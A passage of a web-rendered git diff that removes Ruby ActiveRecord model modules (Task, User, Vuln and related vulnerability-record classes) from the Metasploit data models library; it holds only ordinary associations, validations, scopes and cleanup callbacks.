serialize :result, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
scope :running, order( "created_at DESC" ).where("completed_at IS NULL")
|
|
||||||
|
|
||||||
before_destroy :delete_file
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def delete_file
|
|
||||||
c = Pro::Client.get rescue nil
|
|
||||||
if c
|
|
||||||
c.task_delete_log(self[:id]) if c
|
|
||||||
else
|
|
||||||
::File.unlink(self.path) rescue nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,23 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::User
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
extend MetasploitDataModels::SerializedPrefs
|
|
||||||
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
|
|
||||||
|
|
||||||
has_and_belongs_to_many :workspaces, :join_table => "workspace_members", :uniq => true, :class_name => "Mdm::Workspace"
|
|
||||||
has_many :owned_workspaces, :foreign_key => "owner_id", :class_name => "Mdm::Workspace"
|
|
||||||
has_many :tags, :class_name => "Mdm::Tag"
|
|
||||||
|
|
||||||
validates :password, :password_is_strong => true
|
|
||||||
validates :password_confirmation, :password_is_strong => true
|
|
||||||
|
|
||||||
|
|
||||||
serialized_prefs_attr_accessor :nexpose_host, :nexpose_port, :nexpose_user, :nexpose_pass, :nexpose_creds_type, :nexpose_creds_user, :nexpose_creds_pass
|
|
||||||
serialized_prefs_attr_accessor :http_proxy_host, :http_proxy_port, :http_proxy_user, :http_proxy_pass
|
|
||||||
serialized_prefs_attr_accessor :time_zone, :session_key
|
|
||||||
serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields)
|
|
||||||
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,38 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::Vuln
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :vuln_count
|
|
||||||
belongs_to :service, :class_name => "Mdm::Service", :foreign_key => :service_id
|
|
||||||
has_many :vuln_details, :dependent => :destroy, :class_name => "Mdm::VulnDetail"
|
|
||||||
has_many :vuln_attempts, :dependent => :destroy, :class_name => "Mdm::VulnAttempt"
|
|
||||||
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
|
|
||||||
has_many :refs, :through => :vulns_refs, :class_name => "Mdm::Ref"
|
|
||||||
|
|
||||||
|
|
||||||
validates :name, :presence => true
|
|
||||||
validates_associated :refs
|
|
||||||
|
|
||||||
after_update :save_refs
|
|
||||||
|
|
||||||
scope :search, lambda { |*args|
|
|
||||||
where(["(vulns.name ILIKE ? or vulns.info ILIKE ? or refs.name ILIKE ?)",
|
|
||||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
|
||||||
]).
|
|
||||||
joins("LEFT OUTER JOIN vulns_refs ON vulns_refs.vuln_id=vulns.id LEFT OUTER JOIN refs ON refs.id=vulns_refs.ref_id")
|
|
||||||
}
|
|
||||||
|
|
||||||
private
|
|
||||||
|
|
||||||
def save_refs
|
|
||||||
refs.each { |ref| ref.save(:validate => false) }
|
|
||||||
end
|
|
||||||
|
|
||||||
def before_destroy
|
|
||||||
Mdm::VulnRef.delete_all('vuln_id = ?', self.id)
|
|
||||||
Mdm::VulnDetail.delete_all('vuln_id = ?', self.id)
|
|
||||||
Mdm::VulnAttempt.delete_all('vuln_id = ?', self.id)
|
|
||||||
end
|
|
||||||
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::VulnAttempt
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_attempt_count
|
|
||||||
validates :vuln_id, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,8 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::VulnDetail
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
belongs_to :vuln, :class_name => "Mdm::Vuln", :counter_cache => :vuln_detail_count
|
|
||||||
validates :vuln_id, :presence => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,10 +0,0 @@
|
||||||
module MetasploitDataModels::ActiveRecordModels::VulnRef
|
|
||||||
def self.included(base)
|
|
||||||
base.class_eval {
|
|
||||||
base.table_name = "vulns_refs"
|
|
||||||
belongs_to :ref
|
|
||||||
belongs_to :vuln
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue